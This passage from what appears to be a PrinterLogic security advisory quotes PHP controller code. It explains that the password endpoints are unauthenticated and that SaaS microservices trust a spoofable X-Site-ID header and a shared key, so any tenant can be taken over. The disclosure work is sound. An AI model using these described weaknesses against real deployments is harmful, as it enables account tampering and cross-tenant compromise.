<span style="color: #BA2121; font-style: italic"> 38      * @param Int $tenantId ID of the tenant</span>
<span style="color: #BA2121; font-style: italic"> 39      *</span>
<span style="color: #BA2121; font-style: italic"> 40      * @return \Illuminate\Http\JsonResponse</span>
<span style="color: #BA2121; font-style: italic"> 41      */</span>
 <span style="color: #666666">42</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">exists</span>(string <span style="color: #19177C">$userId</span>, int <span style="color: #19177C">$tenantId</span>)
 <span style="color: #666666">43</span>     {
 <span style="color: #666666">44</span>         <span style="color: #19177C">$passwordExist</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">passwordService</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">exists</span>(<span style="color: #19177C">$userId</span>, <span style="color: #19177C">$tenantId</span>);
 <span style="color: #666666">45</span> 
 <span style="color: #666666">46</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$passwordExist</span>) {
 <span style="color: #666666">47</span>             <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">true</span>], Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_OK</span>);
 <span style="color: #666666">48</span>         }
 <span style="color: #666666">49</span> 
 <span style="color: #666666">50</span>         <span style="color: #008000; font-weight: bold">return</span> response()
 <span style="color: #666666">51</span>             <span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(
 <span style="color: #666666">52</span>                 [
 <span style="color: #666666">53</span>                     <span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">false</span>,
 <span style="color: #666666">54</span>                     <span style="color: #BA2121">&quot;message&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;No password for userId&#39;</span>
 <span style="color: #666666">55</span>                 ],
 <span style="color: #666666">56</span>                 Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NOT_FOUND</span>
 <span style="color: #666666">57</span>             );
 <span style="color: #666666">58</span>     }
 <span style="color: #666666">59</span> 
 <span style="color: #666666">60</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 61      * Endpoint to get the last updated date of the password for the given userId.</span>
<span style="color: #BA2121; font-style: italic"> 62      *</span>
<span style="color: #BA2121; font-style: italic"> 63      * @param String $userId ID of the user</span>
<span style="color: #BA2121; font-style: italic"> 64      * @param Int $tenantId ID of the tenant</span>
<span style="color: #BA2121; font-style: italic"> 65      *</span>
<span style="color: #BA2121; font-style: italic"> 66      * @return \Illuminate\Http\JsonResponse</span>
<span style="color: #BA2121; font-style: italic"> 67      */</span>
 <span style="color: #666666">68</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">lastUpdated</span>(string <span style="color: #19177C">$userId</span>, int <span style="color: #19177C">$tenantId</span>)
 <span style="color: #666666">69</span>     {
 <span style="color: #666666">70</span>         <span style="color: #19177C">$passwordUpdatedAt</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">passwordService</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">lastUpdated</span>(<span style="color: #19177C">$userId</span>, <span style="color: #19177C">$tenantId</span>);                <span style="color: #408080; font-style: italic">// [1] information about the userId</span>
 <span style="color: #666666">71</span> 
 <span style="color: #666666">72</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$passwordUpdatedAt</span> <span style="color: #666666">!==</span> <span style="color: #008000; font-weight: bold">null</span>) {
 <span style="color: #666666">73</span>             <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">true</span>, <span style="color: #BA2121">&#39;updated_at&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$passwordUpdatedAt</span>], Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_OK</span>);
 <span style="color: #666666">74</span>         }
 <span style="color: #666666">75</span> 
 <span style="color: #666666">76</span>         <span style="color: #008000; font-weight: bold">return</span> response()
 <span style="color: #666666">77</span>             <span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(
 <span style="color: #666666">78</span>                 [
 <span style="color: #666666">79</span>                     <span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">false</span>,
 <span style="color: #666666">80</span>                     <span style="color: #BA2121">&#39;message&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;No password for userId&#39;</span>
 <span style="color: #666666">81</span>                 ],
 <span style="color: #666666">82</span>                 Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_NOT_FOUND</span>
 <span style="color: #666666">83</span>             );
 <span style="color: #666666">84</span>     }
 <span style="color: #666666">85</span> 
 <span style="color: #666666">86</span> 
 <span style="color: #666666">87</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 88      * Endpoint to verify password hashes.</span>
<span style="color: #BA2121; font-style: italic"> 89      *</span>
<span style="color: #BA2121; font-style: italic"> 90      * @param Request $request Request Object</span>
<span style="color: #BA2121; font-style: italic"> 91      * @param String $userId ID of the user passed from the user service</span>
<span style="color: #BA2121; font-style: italic"> 92      * @param Int $tenantId ID of the tenant</span>
<span style="color: #BA2121; font-style: italic"> 93      *</span>
<span style="color: #BA2121; font-style: italic"> 94      * @return \Illuminate\Http\JsonResponse</span>
<span style="color: #BA2121; font-style: italic"> 95      */</span>
 <span style="color: #666666">96</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">verify</span>(Request <span style="color: #19177C">$request</span>, string <span style="color: #19177C">$userId</span>, int <span style="color: #19177C">$tenantId</span>)
 <span style="color: #666666">97</span>     {
 <span style="color: #666666">98</span>         <span style="color: #408080; font-style: italic">//Validate required fields</span>
 <span style="color: #666666">99</span>         <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">validate</span>([
<span style="color: #666666">100</span>             <span style="color: #BA2121">&#39;password&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required|string|max:255&#39;</span>,
<span style="color: #666666">101</span>         ]);
<span style="color: #666666">102</span> 
<span style="color: #666666">103</span>         <span style="color: #19177C">$passwordVerified</span> <span style="color: #666666">=</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">passwordService</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">verify</span>(<span style="color: #19177C">$userId</span>, <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(<span style="color: #BA2121">&#39;password&#39;</span>), <span style="color: #19177C">$tenantId</span>); <span style="color: #408080; font-style: italic">// [2] verification of the password</span>
<span style="color: #666666">104</span> 
<span style="color: #666666">105</span>         <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$passwordVerified</span>) {
<span style="color: #666666">106</span>             <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">true</span>], Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_OK</span>);
<span style="color: #666666">107</span>         }
<span style="color: #666666">108</span>         <span style="color: #008000; font-weight: bold">return</span> response()
<span style="color: #666666">109</span>             <span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>(
<span style="color: #666666">110</span>                 [
<span style="color: #666666">111</span>                     <span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">false</span>,
<span style="color: #666666">112</span>                     <span style="color: #BA2121">&quot;message&quot;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;Password does not match.&#39;</span>
<span style="color: #666666">113</span>                 ],
<span style="color: #666666">114</span>                 Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_FORBIDDEN</span>
<span style="color: #666666">115</span>             );
<span style="color: #666666">116</span>     }
<span style="color: #666666">117</span> 
<span style="color: #666666">118</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">119      * Endpoint to create new password records.</span>
<span style="color: #BA2121; font-style: italic">120      *</span>
<span style="color: #BA2121; font-style: italic">121      * @param Request $request Request object</span>
<span style="color: #BA2121; font-style: italic">122      *</span>
<span style="color: #BA2121; font-style: italic">123      * @return \Illuminate\Http\JsonResponse</span>
<span style="color: #BA2121; font-style: italic">124      */</span>
<span style="color: #666666">125</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">store</span>(Request <span style="color: #19177C">$request</span>)
<span style="color: #666666">126</span>     {
<span style="color: #666666">127</span>         <span style="color: #408080; font-style: italic">//Validate required fields</span>
<span style="color: #666666">128</span>         <span style="color: #19177C">$validated</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">validate</span>([
<span style="color: #666666">129</span>             <span style="color: #BA2121">&#39;user_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required|max:255|unique:passwords,user_id,NULL,id,tenant_id,&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(<span style="color: #BA2121">&#39;tenant_id&#39;</span>),
<span style="color: #666666">130</span>             <span style="color: #BA2121">&#39;tenant_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required|unique:passwords,tenant_id,NULL,id,user_id,&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(<span style="color: #BA2121">&#39;user_id&#39;</span>),
<span style="color: #666666">131</span>             <span style="color: #BA2121">&#39;password&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required_without:hashed_password|string|max:255&#39;</span>,
<span style="color: #666666">132</span>             <span style="color: #BA2121">&#39;hashed_password&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required_without:password|string|max:255&#39;</span>,
<span style="color: #666666">133</span>         ]);
<span style="color: #666666">134</span> 
<span style="color: #666666">135</span>         <span style="color: #408080; font-style: italic">//Create new model and save</span>
<span style="color: #666666">136</span>         <span style="color: #19177C">$password</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> Password;
<span style="color: #666666">137</span> 
<span style="color: #666666">138</span>         <span style="color: #408080; font-style: italic">//Fill Model;</span>
<span style="color: #666666">139</span>         <span style="color: #19177C">$password</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">fill</span>(<span style="color: #19177C">$validated</span>);
<span style="color: #666666">140</span> 
<span style="color: #666666">141</span>         <span style="color: #408080; font-style: italic">//Save</span>
<span style="color: #666666">142</span>         <span style="color: #19177C">$password</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">save</span>();
<span style="color: #666666">143</span> 
<span style="color: #666666">144</span>         <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">true</span>], Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_CREATED</span>);
<span style="color: #666666">145</span>     }
<span style="color: #666666">146</span> 
<span style="color: #666666">147</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">148      * Endpoint to update existing password records.</span>
<span style="color: #BA2121; font-style: italic">149      *</span>
<span style="color: #BA2121; font-style: italic">150      * @param Request $request Request Object</span>
<span style="color: #BA2121; font-style: italic">151      * @param String $user_id ID of the user passed from the user service</span>
<span style="color: #BA2121; font-style: italic">152      * @param Int $tenant_id ID of the tenant</span>
<span style="color: #BA2121; font-style: italic">153      *</span>
<span style="color: #BA2121; font-style: italic">154      * @return \Illuminate\Http\JsonResponse</span>
<span style="color: #BA2121; font-style: italic">155      */</span>
<span style="color: #666666">156</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">update</span>(Request <span style="color: #19177C">$request</span>, string <span style="color: #19177C">$user_id</span>, int <span style="color: #19177C">$tenant_id</span>)
<span style="color: #666666">157</span>     {
<span style="color: #666666">158</span>         <span style="color: #408080; font-style: italic">//Validate required fields</span>
<span style="color: #666666">159</span>         <span style="color: #19177C">$validated</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">validate</span>([
<span style="color: #666666">160</span>             <span style="color: #BA2121">&#39;password&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;required||max:255&#39;</span>,
<span style="color: #666666">161</span>         ]);
<span style="color: #666666">162</span> 
<span style="color: #666666">163</span>         <span style="color: #408080; font-style: italic">// Get the record to be updated</span>
<span style="color: #666666">164</span>         <span style="color: #19177C">$password</span> <span style="color: #666666">=</span> Password<span style="color: #666666">::</span><span style="color: #7D9029">firstOrNew</span>([
<span style="color: #666666">165</span>             <span style="color: #BA2121">&#39;user_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$user_id</span>,
<span style="color: #666666">166</span>             <span style="color: #BA2121">&#39;tenant_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$tenant_id</span>,
<span style="color: #666666">167</span>             ]);
<span style="color: #666666">168</span> 
<span style="color: #666666">169</span>         <span style="color: #408080; font-style: italic">//Fill Model;</span>
<span style="color: #666666">170</span>         <span style="color: #19177C">$password</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">fill</span>(<span style="color: #19177C">$validated</span>);
<span style="color: #666666">171</span> 
<span style="color: #666666">172</span>         <span style="color: #408080; font-style: italic">//Save</span>
<span style="color: #666666">173</span>         <span style="color: #19177C">$password</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">save</span>();
<span style="color: #666666">174</span> 
<span style="color: #666666">175</span>         <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">json</span>([<span style="color: #BA2121">&#39;success&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #008000; font-weight: bold">true</span>], Response<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_OK</span>);
<span style="color: #666666">176</span>     }
<span style="color: #666666">177</span> 
<span style="color: #666666">178</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic">179      * Endpoint to delete password records</span>
<span style="color: #BA2121; font-style: italic">180      *</span>
<span style="color: #BA2121; font-style: italic">181      * @param String $user_id ID of the user passed from the user service</span>
<span style="color: #BA2121; font-style: italic">182      * @param Int $tenant_id ID of the tenant</span>
<span style="color: #BA2121; font-style: italic">183      *</span>
<span style="color: #BA2121; font-style: italic">184      * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response</span>
<span style="color: #BA2121; font-style: italic">185      */</span>
<span style="color: #666666">186</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">destroy</span>(string <span style="color: #19177C">$user_id</span>, int <span style="color: #19177C">$tenant_id</span>)
<span style="color: #666666">187</span>     {
<span style="color: #666666">188</span>         <span style="color: #19177C">$password</span> <span style="color: #666666">=</span> Password<span style="color: #666666">::</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;user_id&#39;</span>, <span style="color: #19177C">$user_id</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">where</span>(<span style="color: #BA2121">&#39;tenant_id&#39;</span>, <span style="color: #19177C">$tenant_id</span>)<span style="color: #666666">-&gt;</span><span style="color: #7D9029">firstOrFail</span>();
<span style="color: #666666">189</span>         <span style="color: #19177C">$password</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">delete</span>();
<span style="color: #666666">190</span>         <span style="color: #008000; font-weight: bold">return</span> response()<span style="color: #666666">-&gt;</span><span style="color: #7D9029">noContent</span>();
<span style="color: #666666">191</span>     }
<span style="color: #666666">192</span> }
</pre></div>

<p>An attacker can interact with the passwords of any user for any tenant without authentication, using the <code>user_id</code> and <code>tenant_id</code> variables which are public.</p>
<p><a id="saas-insecure-design"></a></p>
<h2>Details - Insecure design of the SaaS version</h2>
<p>It was observed that the SaaS version of PrinterLogic has a critical design flaw in the authentication mechanism between the HTTP microservices. It appears that the same infrastructure is running for all the customer instances and a specific tenant ID (extracted from the subdomain or from a specific HTTP header <code>X-Site-ID</code>) is used to differentiate the instances: the microservices communicate over HTTP and mainly use the <code>X-Site-ID</code> HTTP header to authenticate in which instance the actions will take place.</p>
<p>For example, the microservices will use <code>X-Site-ID: client</code> in the internal HTTP requests to change the configuration of the <code>client</code> instance. If <code>X-Site-ID: client2</code> is specified, the actions will take place in the <code>client2</code> instance. </p>
<p>This is a not an authentication mechanism. An attacker finding a SSRF vulnerability or able to add custom HTTP headers in the existing HTTP requests can take control of any instance running in the SaaS version by using the additional HTTP header <code>X-Site-ID: target-instance</code>. </p>
<p>There is also another HTTP header <code>X-Printerlogic-MS-Auth-Key</code> containing a key but from the source code, this HTTP header is identical for all the instances (e.g. <code>client1</code>, <code>client2</code> and any other customer will use the same <code>X-Printerlogic-MS-Auth-Key</code> key).</p>
<p>For example, in the <code>var/www/app/app/Http/Controllers/UserAttributeController.php</code> file, only the <code>X-Site-ID</code> is used to store information regarding the user (coming from the HTTP request):</p>
<p>Content of <code>/var/www/app/app/Http/Controllers/UserAttributeController.php</code> with:</p>
<ul>
<li>line 102: use of the HTTP header <code>X-Site-ID</code>;</li>
<li>lines 134 to 139: creation of a new username and a new badgeId for the the specific tenant defined by the <code>X-Site-ID</code> header.</li>
</ul>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">84</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">store</span>(UserAttributeRequest <span style="color: #19177C">$request</span>, <span style="color: #19177C">$id</span>)
 <span style="color: #666666">85</span>     {
 <span style="color: #666666">86</span>         <span style="color: #008000; font-weight: bold">try</span> {
 <span style="color: #666666">87</span>             <span style="color: #408080; font-style: italic">// retrieve user</span>
 <span style="color: #666666">88</span>             <span style="color: #19177C">$isIdp</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;isIdp&#39;</span>, <span style="color: #008000; font-weight: bold">false</span>);
 <span style="color: #666666">89</span>             <span style="color: #19177C">$user</span> <span style="color: #666666">=</span> User<span style="color: #666666">::</span><span style="color: #7D9029">getUserByIdentifier</span>(<span style="color: #19177C">$id</span>, <span style="color: #19177C">$isIdp</span>);
 <span style="color: #666666">90</span> 
 <span style="color: #666666">91</span>             <span style="color: #19177C">$isLdap</span> <span style="color: #666666">=</span> <span style="color: #008000">strtolower</span>(<span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">source_service_type</span>) <span style="color: #666666">===</span> <span style="color: #BA2121">&quot;ldap&quot;</span>;
 <span style="color: #666666">92</span> 
 <span style="color: #666666">93</span>             <span style="color: #19177C">$attributes</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;userAttributes&#39;</span>);
 <span style="color: #666666">94</span> 
 <span style="color: #666666">95</span>             <span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$attributes</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$data</span>) {
 <span style="color: #666666">96</span>                 <span style="color: #408080; font-style: italic">// check to make sure attribute is valid</span>
 <span style="color: #666666">97</span>                 UserAttribute<span style="color: #666666">::</span><span style="color: #7D9029">validateAttribute</span>(<span style="color: #19177C">$data</span>[<span style="color: #BA2121">&#39;attribute&#39;</span>], <span style="color: #19177C">$data</span>[<span style="color: #BA2121">&#39;value&#39;</span>]);
 <span style="color: #666666">98</span> 
 <span style="color: #666666">99</span>                 <span style="color: #408080; font-style: italic">// If a badge id is one of the attributes, fire a add badge event to store badge in legacy pi table</span>
<span style="color: #666666">100</span>                 <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$data</span>[<span style="color: #BA2121">&#39;attribute&#39;</span>] <span style="color: #666666">==</span> <span style="color: #BA2121">&#39;badge-id&#39;</span>) {
<span style="color: #666666">101</span>                     <span style="color: #19177C">$missingFields</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">102</span>                     <span style="color: #19177C">$siteId</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">header</span>(<span style="color: #BA2121">&#39;X-Site-ID&#39;</span>); <span style="color: #408080; font-style: italic">// [1] - use of the HTTP header X-Site-ID</span>
<span style="color: #666666">103</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$siteId</span>)) {
<span style="color: #666666">104</span>                         <span style="color: #19177C">$missingFields</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;site id,&#39;</span>;
<span style="color: #666666">105</span>                     }
<span style="color: #666666">106</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">user_login_name</span>)) {
<span style="color: #666666">107</span>                         <span style="color: #19177C">$missingFields</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;user login name,&#39;</span>;
<span style="color: #666666">108</span>                     }
<span style="color: #666666">109</span>                     <span style="color: #408080; font-style: italic">// Currently only LDAP requires a domain.</span>
<span style="color: #666666">110</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">domain</span>) <span style="color: #666666">&amp;&amp;</span> <span style="color: #19177C">$isLdap</span>) {
<span style="color: #666666">111</span>                         <span style="color: #19177C">$missingFields</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;domain,&#39;</span>;
<span style="color: #666666">112</span>                     }
<span style="color: #666666">113</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$data</span>[<span style="color: #BA2121">&#39;value&#39;</span>])) {
<span style="color: #666666">114</span>                         <span style="color: #19177C">$missingFields</span> <span style="color: #666666">.=</span> <span style="color: #BA2121">&#39;badge id&#39;</span>;
<span style="color: #666666">115</span>                     }
<span style="color: #666666">116</span> 
<span style="color: #666666">117</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000; font-weight: bold">empty</span>(<span style="color: #19177C">$missingFields</span>)) {
<span style="color: #666666">118</span>                         <span style="color: #19177C">$missingFields</span> <span style="color: #666666">=</span> <span style="color: #008000">rtrim</span>(<span style="color: #19177C">$missingFields</span>, <span style="color: #BA2121">&#39;,&#39;</span>);
<span style="color: #666666">119</span>                         <span style="color: #19177C">$errorMessage</span> <span style="color: #666666">=</span> <span style="color: #008000">sprintf</span>(
<span style="color: #666666">120</span>                             <span style="color: #BA2121">&#39;Unable to register badge with PI, following fields not set: %s&#39;</span>,
<span style="color: #666666">121</span>                             <span style="color: #19177C">$missingFields</span>
<span style="color: #666666">122</span>                         );
<span style="color: #666666">123</span>                         Log<span style="color: #666666">::</span><span style="color: #7D9029">error</span>(<span style="color: #19177C">$errorMessage</span>);
<span style="color: #666666">124</span>                         <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(
<span style="color: #666666">125</span>                             <span style="color: #19177C">$errorMessage</span>,
<span style="color: #666666">126</span>                             self<span style="color: #666666">::</span><span style="color: #7D9029">FAILED_ATTRIBUTE_SAVE_ERROR</span>
<span style="color: #666666">127</span>                         );
<span style="color: #666666">128</span>                     }
<span style="color: #666666">129</span>                     <span style="color: #19177C">$username</span> <span style="color: #666666">=</span> <span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">user_login_name</span>;
<span style="color: #666666">130</span>                     <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #19177C">$isLdap</span>) {
<span style="color: #666666">131</span>                         <span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">replaceDomainWithMsdsDomainIfExists</span>();
<span style="color: #666666">132</span>                         <span style="color: #19177C">$username</span> <span style="color: #666666">=</span> <span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">domain</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39;\\&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$username</span>;
<span style="color: #666666">133</span>                     }
<span style="color: #666666">134</span>                     <span style="color: #19177C">$payload</span> <span style="color: #666666">=</span> [                                 <span style="color: #408080; font-style: italic">// [2] use of the HTTP header X-Site-ID</span>
<span style="color: #666666">135</span>                         <span style="color: #BA2121">&#39;siteId&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$siteId</span>,
<span style="color: #666666">136</span>                         <span style="color: #BA2121">&#39;username&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$username</span>,
<span style="color: #666666">137</span>                         <span style="color: #BA2121">&#39;badgeId&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$data</span>[<span style="color: #BA2121">&#39;value&#39;</span>],
<span style="color: #666666">138</span>                     ];
<span style="color: #666666">139</span>                     event(<span style="color: #008000; font-weight: bold">new</span> AddBadgeEvent(<span style="color: #19177C">$payload</span>));
</pre></div>

<p>The PHP file <code>/var/www/app/api-gateway/Apis/MicroserviceApi.php</code> confirms that the same <code>X-PrinterLogic-MS-Auth-key</code> variable is used in all the instances inside the SaaS version.</p>
<p>Consequently, only 2 variables are used to authenticate a tenant instance inside the SaaS infrastructure:</p>
<ul>
<li><code>X-Site-ID</code>, public value corresponding to the subdomain if the <code>X-Site-ID</code> HTTP header is not set (e.g. <code>client1</code> for the <code>client1</code> instance, <code>client2</code> for the <code>client2</code> instance) - this is the main authentication mechanism;</li>
<li><code>X-PL-Instance-ID</code>, public value corresponding to the tenant ID - this does not seem to be widely used in the source code files.</li>
</ul>
<p>Content of <code>/var/www/app/api-gateway/Apis/MicroserviceApi.php</code> with the headers used on lines 62 and 63:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">15</span> <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 16  * Base class for all of the individual microservice APIs</span>
<span style="color: #BA2121; font-style: italic"> 17  */</span>
 <span style="color: #666666">18</span> <span style="color: #008000; font-weight: bold">class</span> <span style="color: #0000FF; font-weight: bold">MicroserviceApi</span>
 <span style="color: #666666">19</span> {
 <span style="color: #666666">20</span>     <span style="color: #008000; font-weight: bold">use</span> ApiResponse;
 <span style="color: #666666">21</span> 
 <span style="color: #666666">22</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #19177C">$domain</span>;
 <span style="color: #666666">23</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #19177C">$verifySsl</span>;
 <span style="color: #666666">24</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #19177C">$siteid</span>;
 <span style="color: #666666">25</span>     <span style="color: #008000; font-weight: bold">protected</span> <span style="color: #19177C">$tenantId</span>;
 <span style="color: #666666">26</span> 
 <span style="color: #666666">27</span>     <span style="color: #BA2121; font-style: italic">/**</span>
<span style="color: #BA2121; font-style: italic"> 28      * Constructor</span>
<span style="color: #BA2121; font-style: italic"> 29      *</span>
<span style="color: #BA2121; font-style: italic"> 30      * @param string $domain - host name of the real endpoint</span>
<span style="color: #BA2121; font-style: italic"> 31      * @param bool $verify - whether to verify SSL connection</span>
<span style="color: #BA2121; font-style: italic"> 32      * @param string $siteIdOverride - if null, then we&#39;ll use the App::getSiteId()</span>
<span style="color: #BA2121; font-style: italic"> 33      */</span>
 <span style="color: #666666">34</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">__construct</span>(<span style="color: #19177C">$domain</span>, <span style="color: #19177C">$verify</span>, <span style="color: #19177C">$siteIdOverride</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">null</span>)
 <span style="color: #666666">35</span>     {
